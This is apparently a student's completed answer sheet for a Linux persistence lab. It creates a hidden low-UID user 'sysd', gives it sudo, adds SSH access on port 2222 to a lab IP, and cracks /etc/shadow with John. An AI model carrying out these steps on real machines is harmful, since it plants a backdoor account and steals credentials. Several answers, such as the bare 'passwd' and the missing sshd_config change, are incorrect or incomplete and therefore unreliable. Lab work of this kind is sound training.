

## **\*\*Step 1: Shadow People\*\***

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:  
- `Your solution command here` **adduser --no-create-home sysd**
2. Give your secret user a password:  
- `Your solution command here` **passwd**
3. Give your secret user a system UID < 1000:  
- `Your solution command here` **usermod sysd -u 1330**
4. Give your secret user the same GID:  
- `Your solution command here` **groupmod sysd -g 1330**
5. Give your secret user full `sudo` access without the need for a password:  
- `Your solution command here` **usermod -aG vagrant sysd**
6. Test that `sudo` access works without your password:

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```bash
Your bash commands here sudo -l
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## **\*\*Step 2: Smooth Sailing\*\***

1. Edit the `sshd\_config` file:

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```bash
Your bash commands here nano /etc/ssh/sshd_config
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## **\*\*Step 3: Testing Your Configuration Update\*\***

1. Restart the SSH service:  
- `Your solution command here` **systemctl restart sshd**
2. Exit the `root` account:  
- `Your solution command here` **exit**
3. SSH to the target machine using your `sysd` account and port `2222`:  
- `Your solution command here` **ssh sysd@192.168.6.105 -p 2222**
4. Use `sudo` to switch to the root user:  
- `Your solution command here` **sudo su**

**\*\*Step 4: Crack All the Passwords\*\***

1. SSH back to the system using your `sysd` account and port `2222`:

- ``Your solution command here` **ssh sysd@192.168.6.105 -p 2222**

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- ``Your solution command here` **sudo su**

**john /etc/shadow**